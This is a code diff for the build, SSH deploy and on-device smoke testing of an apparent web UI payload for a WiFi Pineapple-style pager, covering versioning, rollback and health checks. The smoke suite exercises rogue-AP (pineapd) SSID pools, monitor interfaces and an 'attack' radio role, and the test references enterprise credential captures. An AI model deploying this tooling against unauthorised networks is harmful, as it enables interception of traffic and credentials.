+    stamped = []
+    for root, dirs, files in os.walk(build_dir):
+        for fname in ('_hak5_manifest.json', 'payload.sh', 'server.py'):
+            if fname in files:
+                path = os.path.join(root, fname)
+                if fname == '_hak5_manifest.json':
+                    ok = _stamp_manifest(path, version)
+                elif fname == 'payload.sh':
+                    ok = _stamp_payload_sh(path, version)
+                else:
+                    ok = _stamp_server_py(path, version)
+                if ok:
+                    stamped.append(path)
+    return sorted(stamped)
+
+
+if __name__ == '__main__':
+    if len(sys.argv) != 3:
+        print('usage: build_common.py <build_dir> <version>',
+              file=sys.stderr)
+        sys.exit(2)
+    for path in stamp_version(sys.argv[1], sys.argv[2]):
+        print('stamped: %s' % path)

scripts/deploy.sh

@@ -21,6 +21,11 @@ Options:
   --no-portal-refresh     Skip the best-effort portal refresh
   -h, --help              Show this help
 
+Deploys to /mmc/mk8/releases/<ts>/ with an atomically repointed 'current'
+symlink, mirrors the payload into the legacy /root/payloads location the
+init scripts run from, verifies sha256 of the upload, and polls the local
+API after start; on failure it rolls the symlink + legacy dir back.
+
 If neither --password nor --ssh-key is supplied, ssh/scp prompt normally.
 EOF
 }
@@ -61,6 +66,17 @@ STAGE="$OUT_DIR/stage"
     printf 'Payload directory not found: %s\n' "$PAYLOAD_DIR" >&2
     exit 1
 }
+VERSION_FILE="$ROOT/VERSION"
+[[ -f "$VERSION_FILE" ]] || {
+    printf 'VERSION file not found: %s\n' "$VERSION_FILE" >&2
+    exit 1
+}
+VERSION="$(tr -d '[:space:]' < "$VERSION_FILE")"
+[[ -n "$VERSION" ]] || {
+    printf 'VERSION file is empty.\n' >&2
+    exit 1
+}
+printf 'Deploying Mark VIII version %s\n' "$VERSION"
 
 mkdir -p "$OUT_DIR"
 rm -rf "$STAGE"
@@ -68,6 +84,10 @@ mkdir -p "$STAGE/user/$PAYLOAD_CATEGORY"
 cp -R "$PAYLOAD_DIR" "$STAGE/user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
 find "$STAGE" \( -type d -name __pycache__ -o -type f -name '*.pyc' \) -prune -exec rm -rf {} +
 
+# Stamp build copies only (never the source tree): payload.sh header,
+# staged server.py SERVER_VERSION constant; manifest is stamped below.
+python3 "$ROOT/scripts/build_common.py" "$STAGE" "$VERSION"
+
 B64_KEY="$(python3 -c 'import base64; print(base64.urlsafe_b64encode(b"pager-webui").decode().rstrip("="))')"
 ZIP_NAME="payload-$B64_KEY.zip"
 ZIP_PATH="$OUT_DIR/$ZIP_NAME"
@@ -94,69 +114,177 @@ with open(destination, 'w', encoding='ascii') as handle:
     json.dump(manifest, handle, indent=2)
     handle.write('\n')
 PY
-printf 'Built: %s\n' "$ZIP_PATH"
+# Single-source version: stamp the generated manifest copy too.
+python3 "$ROOT/scripts/build_common.py" "$MANIFEST_PATH" "$VERSION" >/dev/null
+printf 'Built: %s (sha256 %s)\n' "$ZIP_PATH" "$HASH"
 
 TARGET="$PAGER_USER@$PAGER_HOST"
+SSH_OPTS=(-o StrictHostKeyChecking=accept-new)
+if [[ -n "$PASSWORD" && -z "$SSH_KEY" ]]; then
+    SSH_OPTS+=(-o PreferredAuthentications=password -o PubkeyAuthentication=no)
+fi
 
 run_scp() {
     if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
-        SSHPASS="$PASSWORD" sshpass -e scp -i "$SSH_KEY" "$@"
+        SSHPASS="$PASSWORD" sshpass -e scp "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
     elif [[ -n "$PASSWORD" ]]; then
-        SSHPASS="$PASSWORD" sshpass -e scp "$@"
+        SSHPASS="$PASSWORD" sshpass -e scp "${SSH_OPTS[@]}" "$@"
     elif [[ -n "$SSH_KEY" ]]; then
-        scp -i "$SSH_KEY" "$@"
+        scp "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
     else
-        scp "$@"
+        scp "${SSH_OPTS[@]}" "$@"
     fi
 }
 
 run_ssh() {
     if [[ -n "$PASSWORD" && -n "$SSH_KEY" ]]; then
-        SSHPASS="$PASSWORD" sshpass -e ssh -i "$SSH_KEY" "$@"
+        SSHPASS="$PASSWORD" sshpass -e ssh "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
     elif [[ -n "$PASSWORD" ]]; then
-        SSHPASS="$PASSWORD" sshpass -e ssh "$@"
+        SSHPASS="$PASSWORD" sshpass -e ssh "${SSH_OPTS[@]}" "$@"
     elif [[ -n "$SSH_KEY" ]]; then
-        ssh -i "$SSH_KEY" "$@"
+        ssh "${SSH_OPTS[@]}" -i "$SSH_KEY" "$@"
     else
-        ssh "$@"
+        ssh "${SSH_OPTS[@]}" "$@"
     fi
 }
 
-run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/"
+install_python3() {
+    if run_ssh "$TARGET" 'command -v python3 >/dev/null'; then
+        printf 'python3 already present on the pager.\n'
+        return 0
+    fi
+    printf 'python3 missing on pager; installing python3-light (offline ipks).\n'
+    local cache="$ROOT/build/python-ipk"
+    local pkg_base='https://downloads.openwrt.org/releases/24.10.1/packages/mipsel_24kc'
+    mkdir -p "$cache"
+    local files=(
+        "base/libbz2-1.0_1.0.8-r1_mipsel_24kc.ipk"
+        "packages/libpython3-3.11_3.11.14-r1_mipsel_24kc.ipk"
+        "packages/python3-base_3.11.14-r1_mipsel_24kc.ipk"
+        "packages/python3-light_3.11.14-r1_mipsel_24kc.ipk"
+    )
+    local names=()
+    local rel
+    for rel in "${files[@]}"; do
+        local name="${rel##*/}"
+        names+=("$name")
+        if [[ ! -s "$cache/$name" ]]; then
+            curl -fsSL --retry 3 -o "$cache/$name" "$pkg_base/$rel"
+        fi
+    done
+    run_ssh "$TARGET" 'mkdir -p /tmp/python-ipk && rm -rf /tmp/python-ipk/*'
+    (
+        cd "$cache"
+        run_scp "${names[@]}" "$TARGET:/tmp/python-ipk/"
+    )
+    run_ssh "$TARGET" 'set -e
+cd /tmp/python-ipk
+opkg install libbz2-1.0_*.ipk libpython3-3.11_*.ipk python3-base_*.ipk python3-light_*.ipk
+command -v python3 >/dev/null
+python3 -c "import json,socket,hashlib,threading,select,subprocess,struct,base64,re"
+rm -rf /tmp/python-ipk
+echo PYTHON_OK'
+}
+
+install_python3
+
+run_ssh "$TARGET" 'mkdir -p /tmp/mk8-stage && rm -rf /tmp/mk8-stage/*'
+run_scp "$ZIP_PATH" "$MANIFEST_PATH" "$TARGET:/tmp/mk8-stage/"
 
 REMOTE_PAYLOAD_DIR="user/$PAYLOAD_CATEGORY/$PAYLOAD_KEY"
-LEGACY_PAYLOAD_DIR="user/general/$PAYLOAD_KEY"
+RELEASE_TS="$(date +%Y%m%d-%H%M%S)"
 REMOTE_COMMAND="set -e
-cd /root/payloads
-stage='.pager-webui.deploy.\$\$'
-backup='.pager-webui.backup.\$\$'
-trap 'rm -rf \"\$stage\" \"\$backup\"' EXIT
-mkdir -p \"\$stage\"
-cd \"\$stage\"
-unzip -q '/tmp/$ZIP_NAME'
-new=\"\$PWD/$REMOTE_PAYLOAD_DIR\"
-[ -f \"\$new/server.py\" ] && [ -f \"\$new/payload.sh\" ] && [ -d \"\$new/www\" ]
-cp /tmp/_hak5_manifest.json \"\$new/_hak5_manifest.json\"
-chmod +x \"\$new/payload.sh\" \"\$new/pagerwebui.init\"
-chmod -R 755 \"\$new/www\"
-cd /root/payloads
-if [ -d '$REMOTE_PAYLOAD_DIR' ]; then
-    mkdir -p \"\$(dirname \"\$backup\")\"
-    mv '$REMOTE_PAYLOAD_DIR' \"\$backup\"
-fi
-if mv \"\$new\" '$REMOTE_PAYLOAD_DIR'; then
-    rm -rf \"\$backup\" '$LEGACY_PAYLOAD_DIR'
-else
-    [ ! -d \"\$backup\" ] || mv \"\$backup\" '$REMOTE_PAYLOAD_DIR'
+STAGE_DIR='/tmp/mk8-stage'
+ZIP="\$STAGE_DIR/$ZIP_NAME"
+RELDIR='/mmc/mk8/releases/$RELEASE_TS'
+PAYDIR='$REMOTE_PAYLOAD_DIR'
+LIVE=\"/root/payloads/\$PAYDIR\"
+BACKUP=\"/root/payloads/.pager-webui.backup.\$\$\"
+CURRENT='/mmc/mk8/releases/current'
+PREV=\$(readlink \$CURRENT 2>/dev/null || true)
+cleanup() { rm -rf \"\$STAGE_DIR\"; }
+trap cleanup EXIT
+
+# Upload integrity gate: remote sha256 must match the local build hash.
+GOT=\$(sha256sum \"\$ZIP\" | awk '{print \$1}')
+[ \"\$GOT\" = '$HASH' ] || { echo 'sha256 mismatch on uploaded zip' >&2; exit 1; }
+[ -f \"\$STAGE_DIR/_hak5_manifest.json\" ] || { echo 'manifest missing' >&2; exit 1; }
+
+/etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
+mkdir -p \"\$RELDIR\"
+unzip -q \"\$ZIP\" -d \"\$RELDIR\"
+NEW=\"\$RELDIR/\$PAYDIR\"
+[ -f \"\$NEW/server.py\" ] && [ -f \"\$NEW/payload.sh\" ] && [ -d \"\$NEW/www\" ] || {
+    echo 'release payload incomplete' >&2
+    rm -rf \"\$RELDIR\"
+    exit 1
+}
+cp \"\$STAGE_DIR/_hak5_manifest.json\" \"\$NEW/_hak5_manifest.json\"
+chmod +x \"\$NEW/payload.sh\" \"\$NEW/pagerwebui.init\"
+chmod -R 755 \"\$NEW/www\"
+ln -sfn \"\$RELDIR\" \"\$CURRENT\"
+
+# Mirror into the legacy /root/payloads path the init scripts execute.
+rollback_install() {
+    rm -rf \"\$LIVE\"
+    [ ! -d \"\$BACKUP\" ] || mv \"\$BACKUP\" \"\$LIVE\"
+    if [ -n \"\$PREV\" ]; then
+        ln -sfn \"\$PREV\" \"\$CURRENT\"
+    else
+        rm -f \"\$CURRENT\"
+    fi
+}
+if [ -d \"\$LIVE\" ]; then mv \"\$LIVE\" \"\$BACKUP\"; fi
+if ! mkdir -p \"\$LIVE\" || ! cp -a \"\$NEW/.\" \"\$LIVE/\"; then
+    rollback_install
     exit 1
 fi
-rm -f '/tmp/$ZIP_NAME' /tmp/_hak5_manifest.json
-if [ -x /etc/init.d/pagerwebui ] && /etc/init.d/pagerwebui running >/dev/null 2>&1; then
-    /etc/init.d/pagerwebui restart
+cp -f \"\$LIVE/pagerwebui.init\" /etc/init.d/pagerwebui
+chmod +x /etc/init.d/pagerwebui
+/etc/init.d/pagerwebui enable
+cp -f \"\$LIVE/mk8-guard.init\" /etc/init.d/mk8-guard
+chmod 755 /etc/init.d/mk8-guard
+/etc/init.d/mk8-guard enable
+/etc/init.d/pagerwebui start
+
+# Post-deploy verification: API must answer within ~60s (deadline-capped so
+# hung connections cannot stretch the window) or we roll back.
+T0=\$(date +%s)
+DEADLINE=\$((\$T0 + 60))
+HEALTH_OK=''
+while [ \$(date +%s) -lt \$DEADLINE ]; do
+    if curl -fsS -m 3 http://127.0.0.1:8080/ >/dev/null 2>&1; then
+        HEALTH_OK=1
+        break
+    fi
+    sleep 1
+done
+if [ -z \"\$HEALTH_OK\" ]; then
+    echo 'post-deploy health check failed; rolling back' >&2
+    /etc/init.d/pagerwebui stop >/dev/null 2>&1 || true
+    rollback_install
+    rm -rf \"\$RELDIR\"
+    /etc/init.d/pagerwebui start
+    exit 1
+fi
+rm -rf \"\$BACKUP\"
+# Prune old releases; keep the newest 3 including current.
+ALL=\$(ls -1d /mmc/mk8/releases/2* 2>/dev/null | sort)
+TOTAL=\$(printf '%s\\n' \"\$ALL\" | grep -c .)
+KEEP_FROM=\$((TOTAL - 2))
+if [ \"\$KEEP_FROM\" -gt 1 ]; then
+    printf '%s\\n' \"\$ALL\" | awk -v kf=\"\$KEEP_FROM\" 'NR < kf' | while read r; do
+        CUR=\$(readlink \$CURRENT 2>/dev/null || true)
+        [ \"\$r\" = \"\$CUR\" ] || rm -rf \"\$r\"
+    done
+fi
+echo RELEASE_OK@\"\$RELDIR\""
+if run_ssh "$TARGET" "$REMOTE_COMMAND"; then
+    printf 'Release active: /mmc/mk8/releases/%s\n' "$RELEASE_TS"
+else
+    printf 'Deployment failed; previous release restored on the pager.\n' >&2
+    exit 1
 fi
-echo EXTRACT_OK"
-run_ssh "$TARGET" "$REMOTE_COMMAND"
-printf 'Installed to /root/payloads/%s/\n' "$REMOTE_PAYLOAD_DIR"
 
 if $PORTAL_REFRESH && [[ -n "$PASSWORD" ]]; then
     PASSWORD_B64="$(printf '%s' "$PASSWORD" | base64)"
@@ -183,4 +311,4 @@ elif $PORTAL_REFRESH; then
     printf 'Skipping portal refresh without --password; payload installation is complete.\n'
 fi
 
-printf 'Deploy complete. Browse http://%s:8080/\n' "$PAGER_HOST"
+printf 'Deploy complete (v%s). Browse http://%s:8080/\n' "$VERSION" "$PAGER_HOST"

scripts/smoke.sh

@@ -0,0 +1,514 @@
+#!/bin/sh
+# Mark VIII on-device reliability smoke suite (POSIX sh, BusyBox-safe).
+#
+# Usage: smoke.sh [--write]
+#
+# Read-only checks (default):
+#   1. Web UI answers GET /
+#   2. mk8-guard installed and enabled (S49 boot symlink)
+#   3. Safe-UCI invariants + SSID pool size <= 20
+#   4. Event journal: last line of /mmc/mk8/events.log parses as JSON
+#      with a 'kind' field (via python3)
+#   5. Monitor interfaces wlan0mon + wlan1mon exist
+#   6. Deployed server.py SERVER_VERSION == payload.sh Version header
+#   7. Authenticated API path: POST /api/login -> GET /api/health
+#      (requires webui password in $PASS; skipped when unset)
+#
+# Destructive drills (--write only; values auto-restored):
+#   8. Bad-value drill: feeds --reconcile a wrong bands value and an
+#      oversized SSID pool (25 dummy entries), verifies both are
+#      repaired, restores originals.
+#   9. RF role drill (only when SMOKE_UPLINK_SSID is set): switches
+#      radio1 to the uplink role against the named lab AP, expects an
+#      association, then back to attack with hopping resumed.
+#  10. Rollback watchdog drill: runs mk8-watchdog.sh against a config
+#      profile while the web UI is up (expects clean promote exit),
+#      then STOPS the pagerwebui service and expects the watchdog to
+#      roll back and journal a 'rollback' event, then restarts webui.
+#      Preceded by a 5-second warning countdown; brief web outage.
+#      Drills run only when every read-only check has passed.
+#
+# Environment:
+#   PASS              webui password used for POST /api/login (check 7).
+#   SMOKE_UPLINK_SSID lab AP SSID; enables the --write RF role drill.
+#   SMOKE_UPLINK_PSK  optional PSK for the lab AP.
+#
+# Exit status: 0 when every executed check passes, 1 otherwise.
+
+set -u
+
+BASE=/mmc/mk8
+REL="$BASE/releases/current"
+# Release layout: <release>/user/<category>/<key>/... — resolve the payload dir.
+REL_PAY="$(find "$REL/user" -maxdepth 3 -name server.py 2>/dev/null | head -n 1)"
+REL_PAY="${REL_PAY%/server.py}"
+LEGACY=/root/payloads/user/remote_access/pager-webui
+URL=http://127.0.0.1:8080
+GUARD_INIT=/etc/init.d/mk8-guard
+GUARD_LINK=/etc/rc.d/S49mk8-guard
+WEBUI_INIT=/etc/init.d/pagerwebui
+JAR=/tmp/mk8-smoke-cookies.$$
+
+WRITE=0
+PASS="${PASS:-}"
+UPLINK_SSID="${SMOKE_UPLINK_SSID:-}"
+UPLINK_PSK="${SMOKE_UPLINK_PSK:-}"
+WEB_STOPPED=0
+FAILED=0
+WAIT_RC=0
+wp=""
+
+PY="$(command -v python3 2>/dev/null || true)"
+[ -n "$PY" ] || PY=/usr/bin/python3
+[ -x "$PY" ] || PY=""
+
+usage() {
+    printf 'Usage: smoke.sh [--write]\n'
+    printf '\n'
+    printf 'Read-only checks run by default. --write adds destructive drills\n'
+    printf '(run only if every read-only check passed) that briefly toggle\n'
+    printf 'UCI config and stop/start the pagerwebui service; original values\n'
+    printf 'are restored automatically.\n'
+    printf 'Set PASS=<webui password> to enable the authenticated API check.\n'
+    printf 'Set SMOKE_UPLINK_SSID=[<PSK via SMOKE_UPLINK_PSK>] to enable the\n'
+    printf '--write RF role drill against a lab AP.\n'
+}
+
+on_exit() {
+    rm -f "$JAR" 2>/dev/null
+    if [ -n "$wp" ]; then
+        kill "$wp" 2>/dev/null
+    fi
+    if [ "$WEB_STOPPED" = "1" ]; then
+        info 'restoring pagerwebui service'
+        "$WEBUI_INIT" start >/dev/null 2>&1
+    fi
+}
+
+pass() { printf 'PASS %s\n' "$1"; }
+fail() { printf 'FAIL %s\n' "$1"; FAILED=$((FAILED + 1)); }
+skip() { printf 'SKIP %s\n' "$1"; }
+info() { printf '     %s\n' "$1"; }
+
+uci_get() { uci -q get "$1" 2>/dev/null | tr -d '\r'; }
+
+rollback_count() {
+    if [ -z "$PY" ] || [ ! -f "$BASE/events.log" ]; then
+        printf 0
+        return
+    fi
+    tail -n 400 "$BASE/events.log" 2>/dev/null | "$PY" -c '
+import json, sys
+n = 0
+for line in sys.stdin:
+    try:
+        d = json.loads(line)
+    except Exception:
+        continue
+    if isinstance(d, dict) and d.get("kind") == "rollback":
+        n += 1
+print(n)' 2>/dev/null || printf 0
+}
+
+# wait_exit <pid> <seconds>: poll for background job exit; sets WAIT_RC
+# and returns 0 once reaped, 1 on timeout (job left running).
+wait_exit() {
+    _pid="$1"; _t="$2"; _n=0
+    while [ "$_n" -lt "$_t" ]; do
+        if ! kill -0 "$_pid" 2>/dev/null; then
+            wait "$_pid"
+            WAIT_RC=$?
+            return 0
+        fi
+        sleep 1
+        _n=$((_n + 1))
+    done
+    return 1
+}
+
+kill_bg() {
+    kill "$1" 2>/dev/null
+    sleep 1
+    kill -9 "$1" 2>/dev/null
+    wait "$1" 2>/dev/null
+}
+
+check_web_up() {
+    if curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
+        pass 'web: GET / answered'
+    else
+        fail 'web: GET / failed'
+    fi
+}
+
+check_guard() {
+    if [ -x "$GUARD_INIT" ] && [ -e "$GUARD_LINK" ]; then
+        pass 'guard: init script executable and enabled (S49)'
+    else
+        fail "guard: missing executable/init or S49 link ($GUARD_INIT $GUARD_LINK)"
+    fi
+}
+
+check_invariants() {
+    inv_fail=0
+    while IFS= read -r kv; do
+        [ -n "$kv" ] || continue
+        key="${kv%%=*}"
+        want="${kv#*=}"
+        got="$(uci_get "$key")"
+        if [ "$got" != "$want" ]; then
+            inv_fail=$((inv_fail + 1))
+            info "uci $key=$got (want $want)"
+        fi
+    done <<EOF
+pineapd.@ssidpool[0].disable=1
+pineapd.wlan2mon.disable=1
+pineapd.wlan2mon.hop=0
+pineapd.wlan1mon.bands=5
+pineapd.wlan0mon.bands=2
+pineapd.@pineapd[0].autossidpool=0
+EOF
+    pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
+    pool_n=$(printf '%s' "$pool" | awk '{n += NF} END {print n + 0}')
+    if [ "$pool_n" -le 20 ]; then
+        info "ssid pool size: $pool_n (max 20)"
+    else
+        inv_fail=$((inv_fail + 1))
+        info "ssid pool size: $pool_n (max 20)"
+    fi
+    if [ "$inv_fail" -eq 0 ]; then
+        pass 'invariants: safe UCI values + pool <= 20'
+    else
+        fail "invariants: $inv_fail violation(s)"
+    fi
+}
+
+check_journal() {
+    if [ -z "$PY" ]; then
+        fail 'journal: python3 not found for JSON check'
+        return
+    fi
+    last="$(tail -n 1 "$BASE/events.log" 2>/dev/null)"
+    out="$(printf '%s' "$last" | "$PY" -c '
+import json, sys
+raw = sys.stdin.read().strip()
+if not raw:
+    raise SystemExit("events.log empty or missing")
+try:
+    d = json.loads(raw)
+except Exception as exc:
+    raise SystemExit("not JSON: %s" % exc)
+kind = d.get("kind") if isinstance(d, dict) else None
+if not kind:
+    raise SystemExit("last entry has no kind field")
+print(kind)' 2>&1)"
+    rc=$?
+    if [ "$rc" -eq 0 ]; then
+        pass "journal: last entry ok (kind=$out)"
+    else
+        fail "journal: $out"
+    fi
+}
+
+check_monitors() {
+    miss=""
+    for m in wlan0mon wlan1mon; do
+        ip link show "$m" >/dev/null 2>&1 || miss="$miss $m"
+    done
+    if [ -z "$miss" ]; then
+        pass 'monitors: wlan0mon + wlan1mon present'
+    else
+        fail "monitors: down:$miss"
+    fi
+}
+
+check_versions() {
+    sv="$(grep '^SERVER_VERSION' "$REL_PAY/server.py" 2>/dev/null | head -n 1 \
+        | sed -e 's/^SERVER_VERSION = //' -e "s/'//g" | tr -d '\r')"
+    pv="$(grep '^#[ ]*[Vv]ersion:' "$REL_PAY/payload.sh" 2>/dev/null | head -n 1 \
+        | sed 's/^#[ ]*[Vv]ersion:[ ]*//' | tr -d '\r')"
+    if [ -n "$sv" ] && [ "$sv" = "$pv" ]; then
+        pass "versions: release server.py and payload.sh agree ($sv)"
+    else
+        fail "versions: server.py='$sv' payload.sh='$pv'"
+    fi
+}
+
+check_authed_api() {
+    if [ -z "$PASS" ]; then
+        skip 'authed API: PASS not set'
+        return
+    fi
+    if [ -z "$PY" ]; then
+        fail 'authed API: python3 not found for response check'
+        return
+    fi
+    body='{"username":"root","password":"'"$PASS"'"}'
+    code="$(curl -fsS -m 10 -o /dev/null -w '%{http_code}' \
+        -c "$JAR" -H 'Content-Type: application/json' \
+        -d "$body" "$URL/api/login" 2>/dev/null)"
+    if [ "$code" != "200" ]; then
+        fail "authed API: login failed (http=$code)"
+        return
+    fi
+    shape="$(curl -fsS -m 10 -b "$JAR" "$URL/api/health" 2>/dev/null \
+        | "$PY" -c '
+import json, sys
+try:
+    d = json.loads(sys.stdin.read())
+except Exception:
+    raise SystemExit("unparseable")
+print("dict" if isinstance(d, dict) else "other" )' 2>/dev/null)"
+    if [ "$shape" = "dict" ]; then
+        pass 'authed API: login + cookie-authenticated /api/health ok'
+    else
+        fail 'authed API: /api/health did not return a JSON object'
+    fi
+}
+
+drill_bad_values() {
+    info 'bad-value drill: bands=2,5 then 25-entry SSID pool'
+    orig_bands="$(uci_get pineapd.wlan1mon.bands)"
+    [ -n "$orig_bands" ] || orig_bands=5
+    orig_pool="$(uci_get 'pineapd.@ssidpool[0].ssid')"
+
+    uci set pineapd.wlan1mon.bands='2,5'
+    uci commit pineapd
+    "$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
+    got="$(uci_get pineapd.wlan1mon.bands)"
+    if [ "$got" = "5" ]; then
+        pass 'drill: reconcile repaired bands 2,5 -> 5'
+    else
+        fail "drill: bands not repaired (got '$got')"
+    fi
+    uci set pineapd.wlan1mon.bands="$orig_bands"
+
+    list=""
+    i=0
+    while [ "$i" -lt 25 ]; do
+        list="$list smoke$i"
+        i=$((i + 1))
+    done
+    uci set "pineapd.@ssidpool[0].ssid=${list# }"
+    uci commit pineapd
+    "$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
+    got="$(uci_get 'pineapd.@ssidpool[0].ssid')"
+    if [ -z "$got" ]; then
+        pass 'drill: reconcile cleared oversized SSID pool'
+    else
+        fail "drill: oversized pool survived ($(printf '%s' "$got" \
+            | awk '{n += NF} END {print n + 0}') entries)"
+    fi
+    if [ -n "$orig_pool" ]; then
+        uci set "pineapd.@ssidpool[0].ssid=$orig_pool"
+    else
+        uci -q delete 'pineapd.@ssidpool[0].ssid'
+    fi
+    uci commit pineapd
+    "$PY" "$REL_PAY/server.py" --reconcile >/dev/null 2>&1
+}
+
+drill_role() {
+    if [ -z "$UPLINK_SSID" ]; then
+        skip 'role drill: set SMOKE_UPLINK_SSID to enable'
+        return
+    fi
+    info "role drill: uplink '$UPLINK_SSID' then attack"
+    out="$("$PY" - "$REL" "$LEGACY" "$UPLINK_SSID" "$UPLINK_PSK" <<'PYEOF' 2>&1
+import json
+import os
+import sys
+
+rel, legacy, ssid, psk = sys.argv[1:5]
+mk8_rfplan = None
+for d in (rel, legacy):
+    if os.path.isfile(os.path.join(d, 'mk8_rfplan.py')):
+        sys.path.insert(0, d)
+        try:
+            import mk8_rfplan
+            break
+        except Exception:
+            sys.path.remove(d)
+if mk8_rfplan is None:
+    print('FAIL mk8_rfplan not importable from release or legacy dir')
+    raise SystemExit(1)
+
+r1 = mk8_rfplan.set_role(
+    'uplink', ssid=ssid or None, psk=psk or None)
+if not isinstance(r1, dict) or not r1.get('ok'):
+    print('FAIL uplink set_role failed: %s' % json.dumps(r1))
+    raise SystemExit(1)
+
+assoc = mk8_rfplan.associated()
+if not assoc:
+    print('FAIL uplink associated() returned nothing after set_role')
+else:
+    print('associated as %s' % assoc)
+
+try:
+    r2 = mk8_rfplan.set_role('attack')
+except Exception as exc:
+    r2 = {'ok': False, 'error': str(exc)}
+if not isinstance(r2, dict) or not r2.get('ok'):
+    print('FAIL attack set_role failed: %s' % json.dumps(r2))
+    raise SystemExit(1)
+raise SystemExit(0 if assoc else 1)
+PYEOF
+)"
+    rc=$?
+    printf '%s\n' "$out" | sed 's/^/     /'
+    if [ "$rc" -ne 0 ]; then
+        fail 'role drill: uplink association failed (see detail above)'
+        return
+    fi
+    hop="$(uci_get pineapd.wlan1mon.hop)"
+    if [ "$hop" = "1" ]; then
+        pass 'role drill: uplink assoc + attack role + hopping resumed'
+    else
+        fail "role drill: pineapd.wlan1mon.hop=$hop after attack role (want 1)"
+    fi
+}
+
+drill_watchdog() {
+    WDOG="$REL_PAY/mk8-watchdog.sh"
+    [ -f "$WDOG" ] || WDOG="$LEGACY/mk8-watchdog.sh"
+    if [ ! -f "$WDOG" ]; then
+        fail 'drill: mk8-watchdog.sh not found in release or legacy dir'
+        return
+    fi
+    # Ensure a profile exists: snapshot the live config as the drill target.
+    if [ ! -d "$BASE/profiles" ] || [ -z "$(ls "$BASE/profiles" 2>/dev/null)" ]; then
+        "$PY" - "$REL_PAY" <<'PYEOF' >/dev/null 2>&1 || {
+import sys
+sys.path.insert(0, sys.argv[1])
+import mk8_profiles
+mk8_profiles.snapshot('smoke-drill')
+PYEOF
+        fail 'drill: could not snapshot a profile for watchdog drill'
+        return
+        }
+    fi
+    prof=lastknown-good
+    [ -d "$BASE/profiles/$prof" ] \
+        || prof="$(ls "$BASE/profiles" 2>/dev/null | head -n 1)"
+    if [ -z "$prof" ]; then
+        fail 'drill: no profiles under /mmc/mk8/profiles to exercise watchdog'
+        return
+    fi
+
+    printf '     WARNING: watchdog drill stops/starts the webui service.\n'
+    n=5
+    while [ "$n" -gt 0 ]; do
+        printf '     starting in %ds (ctrl-c to abort)\n' "$n"
+        sleep 1
+        n=$((n - 1))
+    done
+
+    if ! curl -fsS -m 5 "$URL/" >/dev/null 2>&1; then
+        fail 'drill: web must be up before watchdog promote phase'
+        return
+    fi
+
+    # Phase 1: healthy system -> watchdog promotes snapshot, exits 0.
+    "$WDOG" "$prof" 1 2 2 30 &
+    wp=$!
+    if wait_exit "$wp" 40; then
+        if [ "$WAIT_RC" -eq 0 ]; then
+            pass "drill: watchdog promote path exited 0 (profile=$prof)"
+        else
+            fail "drill: watchdog promote exit=$WAIT_RC"
+        fi
+    else
+        kill_bg "$wp"
+        fail 'drill: watchdog promote did not exit within 40s'
+    fi
+
+    # Phase 2: web stopped -> watchdog rolls back and journals it.
+    before="$(rollback_count)"
+    WEB_STOPPED=1
+    "$WEBUI_INIT" stop >/dev/null 2>&1
+    "$WDOG" "$prof" 1 2 2 60 &
+    wp=$!
+    rolled=0
+    t=0
+    while [ "$t" -lt 150 ]; do
+        now="$(rollback_count)"
+        [ "$now" -gt "$before" ] && { rolled=1; break; }
+        kill -0 "$wp" 2>/dev/null || break
+        sleep 2
+        t=$((t + 2))
+    done
+    kill_bg "$wp"
+    WEB_STOPPED=0
+    "$WEBUI_INIT" start >/dev/null 2>&1
+    up=0
+    t=0
+    while [ "$t" -lt 45 ]; do
+        curl -fsS -m 3 "$URL/" >/dev/null 2>&1 && { up=1; break; }
+        sleep 2
+        t=$((t + 2))
+    done
+    if [ "$rolled" -eq 1 ]; then
+        pass 'drill: watchdog rollback journaled'
+    else
+        fail 'drill: no new rollback entry in events.log'
+    fi
+    if [ "$up" -eq 1 ]; then
+        pass 'drill: webui restored after rollback drill'
+    else
+        fail 'drill: webui did not come back within 45s'
+    fi
+}
+
+main() {
+    for arg in "$@"; do
+        case "$arg" in
+            --write) WRITE=1 ;;
+            -h|--help) usage; exit 0 ;;
+            *) printf 'unknown argument: %s\n' "$arg" >&2; usage >&2; exit 2 ;;
+        esac
+    done
+
+    if [ "$(id -u 2>/dev/null)" != "0" ]; then
+        printf 'FAIL smoke: must run as root on the device\n'
+        exit 1
+    fi
+
+    printf 'Mark VIII smoke suite (%s%s)\n' \
+        "$(date '+%Y-%m-%d %H:%M:%S')" \
+        "$([ "$WRITE" = "1" ] && printf ' --write')"
+
+    check_web_up
+    check_guard
+    check_invariants
+    check_journal
+    check_monitors
+    check_versions
+    check_authed_api
+
+    if [ "$WRITE" = "1" ]; then
+        if [ -z "$PY" ]; then
+            fail 'drills: python3 required but not found'
+        elif [ "$FAILED" -ne 0 ]; then
+            skip 'drills: read-only checks failed; refusing drills'
+        else
+            printf -- '--- --write drills ---\n'
+            drill_bad_values
+            drill_role
+            drill_watchdog
+        fi
+    fi
+
+    printf -- '---\n'
+    if [ "$FAILED" -eq 0 ]; then
+        printf 'SMOKE OK\n'
+        exit 0
+    fi
+    printf 'SMOKE FAILED (%d check(s))\n' "$FAILED"
+    exit 1
+}
+
+trap on_exit EXIT
+trap 'exit 130' INT
+trap 'exit 143' TERM
+main "$@"

tests/test_attacks.py

@@ -80,11 +80,27 @@ class AttacksDeployTest(unittest.TestCase):
         self.old_state = server.PINEAP_STATE_FILE
         server.PINEAP_STATE_FILE = os.path.join(self.tmp, 'state.json')
         self.old_ent = {k: getattr(server, k) for k in
-                        ('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE')}
+                        ('ENT_CONF', 'ENT_PIDFILE', 'ENT_EAP_USERS', 'ENT_STATE',
+                         'ENT_DIR', 'ENT_CA_CERT', 'ENT_SERVER_CERT', 'ENT_SERVER_KEY',
+                         'ENT_LOG', 'ENT_CAPTURES', 'ENT_DH_FILE')}
         server.ENT_CONF = os.path.join(self.tmp, 'enterprise.conf')
